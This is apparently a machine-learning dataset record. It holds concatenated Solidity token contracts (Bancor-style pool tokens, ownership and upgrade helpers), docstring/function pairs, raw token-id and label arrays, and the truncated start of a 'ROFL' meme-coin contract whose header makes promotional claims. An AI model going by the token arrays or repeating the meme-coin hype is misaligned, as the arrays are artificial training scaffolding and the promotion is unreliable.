solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { ERC20Permit } from "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol"; import { Token } from "../token/Token.sol"; import { ERC20Burnable } from "../token/ERC20Burnable.sol"; import { IVersioned } from "../utility/interfaces/IVersioned.sol"; import { Owned } from "../utility/Owned.sol"; import { Utils } from "../utility/Utils.sol"; import { IPoolToken } from "./interfaces/IPoolToken.sol"; /** * @dev Pool Token contract */ contract PoolToken is IPoolToken, ERC20Permit, ERC20Burnable, Owned, Utils { Token private immutable _reserveToken; uint8 private _decimals; /** * @dev initializes a new PoolToken contract */ constructor( string memory name, string memory symbol, uint8 initDecimals, Token initReserveToken ) ERC20(name, symbol) ERC20Permit(name) validAddress(address(initReserveToken)) { _decimals = initDecimals; _reserveToken = initReserveToken; } /** * @inheritdoc IVersioned */ function version() external pure returns (uint16) { return 1; } /** * @dev returns the number of decimals used to get its user representation */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @inheritdoc IPoolToken */ function reserveToken() external view returns (Token) { return _reserveToken; } /** * @inheritdoc IPoolToken */ function mint(address recipient, uint256 amount) external onlyOwner validExternalAddress(recipient) { _mint(recipient, amount); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { Token } from "../token/Token.sol"; import { TokenLibrary } from "../token/TokenLibrary.sol"; import { IVersioned } from "../utility/interfaces/IVersioned.sol"; import { Upgradeable } from "../utility/Upgradeable.sol"; import { Utils } from "../utility/Utils.sol"; import { IPoolTokenFactory } from "./interfaces/IPoolTokenFactory.sol"; import { IPoolToken } from "./interfaces/IPoolToken.sol"; import { PoolToken } from "./PoolToken.sol"; /** * @dev Pool Token Factory contract */ contract PoolTokenFactory is IPoolTokenFactory, Upgradeable, Utils { using TokenLibrary for Token; string private constant POOL_TOKEN_SYMBOL_PREFIX = "bn"; string private constant POOL_TOKEN_NAME_PREFIX = "Bancor"; string private constant POOL_TOKEN_NAME_SUFFIX = "Pool Token"; // a mapping between tokens and custom symbol overrides (only needed for tokens with malformed symbol property) mapping(Token => string) private _tokenSymbolOverrides; // a mapping between tokens and custom token overrides (only needed for tokens with malformed decimals property) mapping(Token => uint8) private _tokenDecimalsOverrides; // upgrade forward-compatibility storage gap uint256[MAX_GAP - 2] private __gap; /** * @dev triggered when a pool token is created */ event PoolTokenCreated(IPoolToken indexed poolToken, Token indexed token); /** * @dev fully initializes the contract and its parents */ function initialize() external initializer { __PoolTokenFactory_init(); } // solhint-disable func-name-mixedcase /** * @dev initializes the contract and its parents */ function __PoolTokenFactory_init() internal onlyInitializing { __Upgradeable_init(); __PoolTokenFactory_init_unchained(); } /** * @dev performs contract-specific initialization */ function __PoolTokenFactory_init_unchained() internal onlyInitializing {} // solhint-enable func-name-mixedcase /** * @inheritdoc Upgradeable */ function version() public pure override(IVersioned, Upgradeable) returns (uint16) { return 1; } /** * @inheritdoc IPoolTokenFactory */ function tokenSymbolOverride(Token token) external view returns (string memory) { return _tokenSymbolOverrides[token]; } /** * @dev sets the custom symbol override for a given reserve token * * requirements: * * - the caller must be the admin of the contract */ function setTokenSymbolOverride(Token token, string calldata symbol) external onlyAdmin { _tokenSymbolOverrides[token] = symbol; } /** * @inheritdoc IPoolTokenFactory */ function tokenDecimalsOverride(Token token) external view returns (uint8) { return _tokenDecimalsOverrides[token]; } /** * @dev sets the decimals override for a given reserve token * * requirements: * * - the caller must be the admin of the contract */ function setTokenDecimalsOverride(Token token, uint8 decimals) external onlyAdmin { _tokenDecimalsOverrides[token] = decimals; } /** * @inheritdoc IPoolTokenFactory */ function createPoolToken(Token token) external validAddress(address(token)) returns (IPoolToken) { string memory customSymbol = _tokenSymbolOverrides[token]; string memory tokenSymbol = bytes(customSymbol).length != 0 ? customSymbol : token.symbol(); uint8 customDecimals = _tokenDecimalsOverrides[token]; uint8 tokenDecimals = customDecimals != 0 ? customDecimals : token.decimals(); string memory symbol = string.concat(POOL_TOKEN_SYMBOL_PREFIX, tokenSymbol); string memory name = string.concat(POOL_TOKEN_NAME_PREFIX, " ", tokenSymbol, " ", POOL_TOKEN_NAME_SUFFIX); PoolToken newPoolToken = new PoolToken(name, symbol, tokenDecimals, token); // make sure to transfer the ownership to the caller newPoolToken.transferOwnership(msg.sender); emit PoolTokenCreated({ poolToken: newPoolToken, token: token }); return newPoolToken; } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IERC20Permit } from "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol"; import { IERC20Burnable } from "../../token/interfaces/IERC20Burnable.sol"; import { Token } from "../../token/Token.sol"; import { IVersioned } from "../../utility/interfaces/IVersioned.sol"; import { IOwned } from "../../utility/interfaces/IOwned.sol"; /** * @dev Pool Token interface */ interface IPoolToken is IVersioned, IOwned, IERC20, IERC20Permit, IERC20Burnable { /** * @dev returns the address of the reserve token */ function reserveToken() external view returns (Token); /** * @dev increases the token supply and sends the new tokens to the given account * * requirements: * * - the caller must be the owner of the contract */ function mint(address recipient, uint256 amount) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { Token } from "../../token/Token.sol"; import { IUpgradeable } from "../../utility/interfaces/IUpgradeable.sol"; import { IPoolToken } from "./IPoolToken.sol"; /** * @dev Pool Token Factory interface */ interface IPoolTokenFactory is IUpgradeable { /** * @dev returns the custom symbol override for a given reserve token */ function tokenSymbolOverride(Token token) external view returns (string memory); /** * @dev returns the custom decimals override for a given reserve token */ function tokenDecimalsOverride(Token token) external view returns (uint8); /** * @dev creates a pool token for the specified token */ function createPoolToken(Token token) external returns (IPoolToken); } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { IERC20Burnable } from "./interfaces/IERC20Burnable.sol"; /** * @dev this is an adapted clone of the OZ's ERC20Burnable extension which is unfortunately required so that it can be * explicitly specified in interfaces via our new IERC20Burnable interface. * * We have also removed the explicit use of Context and updated the code to our style. */ abstract contract ERC20Burnable is ERC20, IERC20Burnable { /** * @inheritdoc IERC20Burnable */ function burn(uint256 amount) external virtual { _burn(msg.sender, amount); } /** * @inheritdoc IERC20Burnable */ function burnFrom(address recipient, uint256 amount) external virtual { _approve(recipient, msg.sender, allowance(recipient, msg.sender) - amount); _burn(recipient, amount); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @dev extends the SafeERC20 library with additional operations */ library SafeERC20Ex { using SafeERC20 for IERC20; /** * @dev ensures that the spender has sufficient allowance */ function ensureApprove( IERC20 token, address spender, uint256 amount ) internal { if (amount == 0) { return; } uint256 allowance = token.allowance(address(this), spender); if (allowance >= amount) { return; } if (allowance > 0) { token.safeApprove(spender, 0); } token.safeApprove(spender, amount); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; /** * @dev the main purpose of the Token interfaces is to ensure artificially that we won't use ERC20's standard functions, * but only their safe versions, which are provided by SafeERC20 and SafeERC20Ex via the TokenLibrary contract */ interface Token { } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IERC20Permit } from "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol"; import { SafeERC20Ex } from "./SafeERC20Ex.sol"; import { Token } from "./Token.sol"; struct Signature { uint8 v; bytes32 r; bytes32 s; } /** * @dev This library implements ERC20 and SafeERC20 utilities for both the native token and for ERC20 tokens */ library TokenLibrary { using SafeERC20 for IERC20; using SafeERC20Ex for IERC20; error PermitUnsupported(); // the address that represents the native token reserve address public constant NATIVE_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // the symbol that represents the native token string private constant NATIVE_TOKEN_SYMBOL = "ETH"; // the decimals for the native token uint8 private constant NATIVE_TOKEN_DECIMALS = 18; /** * @dev returns whether the provided token represents an ERC20 or the native token reserve */ function isNative(Token token) internal pure returns (bool) { return address(token) == NATIVE_TOKEN_ADDRESS; } /** * @dev returns the symbol of the native token/ERC20 token */ function symbol(Token token) internal view returns (string memory) { if (isNative(token)) { return NATIVE_TOKEN_SYMBOL; } return toERC20(token).symbol(); } /** * @dev returns the decimals of the native token/ERC20 token */ function decimals(Token token) internal view returns (uint8) { if (isNative(token)) { return NATIVE_TOKEN_DECIMALS; } return toERC20(token).decimals(); } /** * @dev returns the balance of the native token/ERC20 token */ function balanceOf(Token token, address account) internal view returns (uint256) { if (isNative(token)) { return account.balance; } return toIERC20(token).balanceOf(account); } /** * @dev transfers a specific amount of the native token/ERC20 token */ function safeTransfer( Token token, address to, uint256 amount ) internal { if (amount == 0) { return; } if (isNative(token)) { payable(to).transfer(amount); } else { toIERC20(token).safeTransfer(to, amount); } } /** * @dev transfers a specific amount of the native token/ERC20 token from a specific holder using the allowance mechanism * * note that the function does not perform any action if the native token is provided */ function safeTransferFrom( Token token, address from, address to, uint256 amount ) internal { if (amount == 0 || isNative(token)) { return; } toIERC20(token).safeTransferFrom(from, to, amount); } /** * @dev approves a specific amount of the native token/ERC20 token from a specific holder * * note that the function does not perform any action if the native token is provided */ function safeApprove( Token token, address spender, uint256 amount ) internal { if (isNative(token)) { return; } toIERC20(token).safeApprove(spender, amount); } /** * @dev ensures that the spender has sufficient allowance * * note that the function does not perform any action if the native token is provided */ function ensureApprove( Token token, address spender, uint256 amount ) internal { if (isNative(token)) { return; } toIERC20(token).ensureApprove(spender, amount); } /** * @dev performs an EIP2612 permit */ function permit( Token token, address owner, address spender, uint256 tokenAmount, uint256 deadline, Signature memory signature ) internal { if (isNative(token)) { revert PermitUnsupported(); } // permit the amount the owner is trying to deposit. Please note, that if the base token doesn't support // EIP2612 permit - either this call or the inner safeTransferFrom will revert IERC20Permit(address(token)).permit( owner, spender, tokenAmount, deadline, signature.v, signature.r, signature.s ); } /** * @dev compares between a token and another raw ERC20 token */ function isEqual(Token token, IERC20 erc20Token) internal pure returns (bool) { return toIERC20(token) == erc20Token; } /** * @dev utility function that converts an token to an IERC20 */ function toIERC20(Token token) internal pure returns (IERC20) { return IERC20(address(token)); } /** * @dev utility function that converts an token to an ERC20 */ function toERC20(Token token) internal pure returns (ERC20) { return ERC20(address(token)); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; /** * @dev burnable ERC20 interface */ interface IERC20Burnable { /** * @dev Destroys tokens from the caller. */ function burn(uint256 amount) external; /** * @dev Destroys tokens from a recipient, deducting from the caller's allowance * * requirements: * * - the caller must have allowance for recipient's tokens of at least the specified amount */ function burnFrom(address recipient, uint256 amount) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; uint32 constant PPM_RESOLUTION = 1000000; // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { IOwned } from "./interfaces/IOwned.sol"; import { AccessDenied } from "./Utils.sol"; /** * @dev this contract provides support and utilities for contract ownership */ abstract contract Owned is IOwned { error SameOwner(); address private _owner; address private _newOwner; /** * @dev triggered when the owner is updated */ event OwnerUpdate(address indexed prevOwner, address indexed newOwner); // solhint-disable func-name-mixedcase /** * @dev initializes the contract */ constructor() { _transferOwnership(msg.sender); } // solhint-enable func-name-mixedcase // allows execution by the owner only modifier onlyOwner() { _onlyOwner(); _; } // error message binary size optimization function _onlyOwner() private view { if (msg.sender != _owner) { revert AccessDenied(); } } /** * @inheritdoc IOwned */ function owner() public view virtual returns (address) { return _owner; } /** * @inheritdoc IOwned */ function transferOwnership(address ownerCandidate) public virtual onlyOwner { if (ownerCandidate == _owner) { revert SameOwner(); } _newOwner = ownerCandidate; } /** * @inheritdoc IOwned */ function acceptOwnership() public virtual { if (msg.sender != _newOwner) { revert AccessDenied(); } _transferOwnership(_newOwner); } /** * @dev returns the address of the new owner candidate */ function newOwner() external view returns (address) { return _newOwner; } /** * @dev sets the new owner internally */ function _transferOwnership(address ownerCandidate) private { address prevOwner = _owner; _owner = ownerCandidate; _newOwner = address(0); emit OwnerUpdate({ prevOwner: prevOwner, newOwner: ownerCandidate }); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { AccessControlEnumerableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import { IUpgradeable } from "./interfaces/IUpgradeable.sol"; import { AccessDenied } from "./Utils.sol"; /** * @dev this contract provides common utilities for upgradeable contracts */ abstract contract Upgradeable is IUpgradeable, AccessControlEnumerableUpgradeable { error AlreadyInitialized(); // the admin role is used to allow a non-proxy admin to perform additional initialization/setup during contract // upgrades bytes32 internal constant ROLE_ADMIN = keccak256("ROLE_ADMIN"); uint32 internal constant MAX_GAP = 50; uint16 internal _initializations; // upgrade forward-compatibility storage gap uint256[MAX_GAP - 1] private __gap; // solhint-disable func-name-mixedcase /** * @dev initializes the contract and its parents */ function __Upgradeable_init() internal onlyInitializing { __AccessControl_init(); __Upgradeable_init_unchained(); } /** * @dev performs contract-specific initialization */ function __Upgradeable_init_unchained() internal onlyInitializing { _initializations = 1; // set up administrative roles _setRoleAdmin(ROLE_ADMIN, ROLE_ADMIN); // allow the deployer to initially be the admin of the contract _setupRole(ROLE_ADMIN, msg.sender); } // solhint-enable func-name-mixedcase modifier onlyAdmin() { _hasRole(ROLE_ADMIN, msg.sender); _; } modifier onlyRoleMember(bytes32 role) { _hasRole(role, msg.sender); _; } function version() public view virtual override returns (uint16); /** * @dev returns the admin role */ function roleAdmin() external pure returns (bytes32) { return ROLE_ADMIN; } /** * @dev performs post-upgrade initialization * * requirements: * * - this must can be called only once per-upgrade */ function postUpgrade(bytes calldata data) external { uint16 initializations = _initializations + 1; if (initializations != version()) { revert AlreadyInitialized(); } _initializations = initializations; _postUpgrade(data); } /** * @dev an optional post-upgrade callback that can be implemented by child contracts */ function _postUpgrade( bytes calldata /* data */ ) internal virtual {} function _hasRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert AccessDenied(); } } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { PPM_RESOLUTION } from "./Constants.sol"; error AccessDenied(); error AlreadyExists(); error DoesNotExist(); error InvalidAddress(); error InvalidExternalAddress(); error InvalidFee(); error InvalidPool(); error InvalidPoolCollection(); error InvalidStakedBalance(); error InvalidToken(); error InvalidType(); error InvalidParam(); error NotEmpty(); error NotPayable(); error ZeroValue(); /** * @dev common utilities */ contract Utils { // allows execution by the caller only modifier only(address caller) { _only(caller); _; } function _only(address caller) internal view { if (msg.sender != caller) { revert AccessDenied(); } } // verifies that a value is greater than zero modifier greaterThanZero(uint256 value) { _greaterThanZero(value); _; } // error message binary size optimization function _greaterThanZero(uint256 value) internal pure { if (value == 0) { revert ZeroValue(); } } // validates an address - currently only checks that it isn't null modifier validAddress(address addr) { _validAddress(addr); _; } // error message binary size optimization function _validAddress(address addr) internal pure { if (addr == address(0)) { revert InvalidAddress(); } } // validates an external address - currently only checks that it isn't null or this modifier validExternalAddress(address addr) { _validExternalAddress(addr); _; } // error message binary size optimization function _validExternalAddress(address addr) internal view { if (addr == address(0) || addr == address(this)) { revert InvalidExternalAddress(); } } // ensures that the fee is valid modifier validFee(uint32 fee) { _validFee(fee); _; } // error message binary size optimization function _validFee(uint32 fee) internal pure { if (fee > PPM_RESOLUTION) { revert InvalidFee(); } } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; /** * @dev Owned interface */ interface IOwned { /** * @dev returns the address of the current owner */ function owner() external view returns (address); /** * @dev allows transferring the contract ownership * * requirements: * * - the caller must be the owner of the contract * - the new owner still needs to accept the transfer */ function transferOwnership(address ownerCandidate) external; /** * @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; import { IVersioned } from "./IVersioned.sol"; import { IAccessControlEnumerableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/IAccessControlEnumerableUpgradeable.sol"; /** * @dev this is the common interface for upgradeable contracts */ interface IUpgradeable is IAccessControlEnumerableUpgradeable, IVersioned { } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.13; /** * @dev an interface for a versioned contract */ interface IVersioned { function version() external view returns (uint16); }
* @dev initializes the contract and its parents/
function __PoolTokenFactory_init() internal onlyInitializing { __Upgradeable_init(); __PoolTokenFactory_init_unchained(); }
86,999
[ 1, 6769, 3128, 326, 6835, 471, 2097, 6298, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1001, 2864, 1345, 1733, 67, 2738, 1435, 2713, 1338, 29782, 288, 203, 3639, 1001, 10784, 429, 67, 2738, 5621, 203, 203, 3639, 1001, 2864, 1345, 1733, 67, 2738, 67, 4384, 8707, 5621, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x9490CCf93Cd750dc47f72402A163022cfB94CFC9/sources/contracts/vaults/TreasuryVault/RibbonTreasuryVaultLite.sol
* @notice Sets the next option the vault will be shorting, and closes the existing short. This allows all the users to withdraw if the next option is malicious./
function _commitAndClose() internal { address oldOption = optionState.currentOption; VaultLifecycleTreasury.CloseParams memory closeParams = VaultLifecycleTreasury.CloseParams({ OTOKEN_FACTORY: OTOKEN_FACTORY, USDC: USDC, currentOption: oldOption, delay: DELAY, lastStrikeOverrideRound: lastStrikeOverrideRound, overriddenStrikePrice: overriddenStrikePrice, period: period }); ( address otokenAddress, uint256 premium, uint256 strikePrice, uint256 delta ) = VaultLifecycleTreasury.commitAndClose( strikeSelection, optionsPremiumPricer, premiumDiscount, closeParams, vaultParams, vaultState ); emit NewOptionStrikeSelected(strikePrice, delta); ShareMath.assertUint104(premium); optionState.nextOption = otokenAddress; uint256 nextOptionReady = block.timestamp + (DELAY); require(nextOptionReady <= type(uint32).max, "T28"); optionState.nextOptionReadyAt = uint32(nextOptionReady); _closeShort(oldOption); }
3,540,702
[ 1, 2785, 326, 1024, 1456, 326, 9229, 903, 506, 3025, 310, 16, 471, 13445, 326, 2062, 3025, 18, 540, 1220, 5360, 777, 326, 3677, 358, 598, 9446, 309, 326, 1024, 1456, 353, 27431, 28728, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 7371, 1876, 4605, 1435, 2713, 288, 203, 3639, 1758, 1592, 1895, 273, 1456, 1119, 18, 2972, 1895, 31, 203, 203, 3639, 17329, 9977, 56, 266, 345, 22498, 18, 4605, 1370, 3778, 1746, 1370, 273, 203, 5411, 17329, 9977, 56, 266, 345, 22498, 18, 4605, 1370, 12590, 203, 7734, 531, 8412, 67, 16193, 30, 531, 8412, 67, 16193, 16, 203, 7734, 11836, 5528, 30, 11836, 5528, 16, 203, 7734, 783, 1895, 30, 1592, 1895, 16, 203, 7734, 4624, 30, 2030, 7868, 16, 203, 7734, 1142, 1585, 2547, 6618, 11066, 30, 1142, 1585, 2547, 6618, 11066, 16, 203, 7734, 11000, 1585, 2547, 5147, 30, 11000, 1585, 2547, 5147, 16, 203, 7734, 3879, 30, 3879, 203, 5411, 15549, 203, 203, 3639, 261, 203, 5411, 1758, 320, 2316, 1887, 16, 203, 5411, 2254, 5034, 23020, 5077, 16, 203, 5411, 2254, 5034, 609, 2547, 5147, 16, 203, 5411, 2254, 5034, 3622, 203, 3639, 262, 273, 203, 5411, 17329, 9977, 56, 266, 345, 22498, 18, 7371, 1876, 4605, 12, 203, 7734, 609, 2547, 6233, 16, 203, 7734, 702, 23890, 5077, 52, 1512, 264, 16, 203, 7734, 23020, 5077, 9866, 16, 203, 7734, 1746, 1370, 16, 203, 7734, 9229, 1370, 16, 203, 7734, 9229, 1119, 203, 5411, 11272, 203, 203, 3639, 3626, 1166, 1895, 1585, 2547, 7416, 12, 701, 2547, 5147, 16, 3622, 1769, 203, 203, 3639, 25805, 10477, 18, 11231, 5487, 21869, 12, 1484, 81, 5077, 1769, 203, 3639, 1456, 1119, 18, 4285, 1895, 273, 320, 2316, 1887, 31, 203, 203, 3639, 2254, 5034, 1024, 1895, 8367, 2 ]
/* Telegram - https://t.me/roflerc20 laughing! It is time for a real meme project that's here for community building, fun, happiness! Meme coins haven't been fulfilling the real purpose of meme culture. Even the brightest mind ELON MUSK is a meme lover. That's why we are launching ROFL. ROFL is here to create some moments of happiness in our life to make us laugh on the floor, have fun, and to enjoy life. ROFL is a DAO, where the ROFL treasury will be used by the community for the betterment of the project. Together we will build a ROFL DAO metaverse. */ pragma solidity ^0.8.9; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 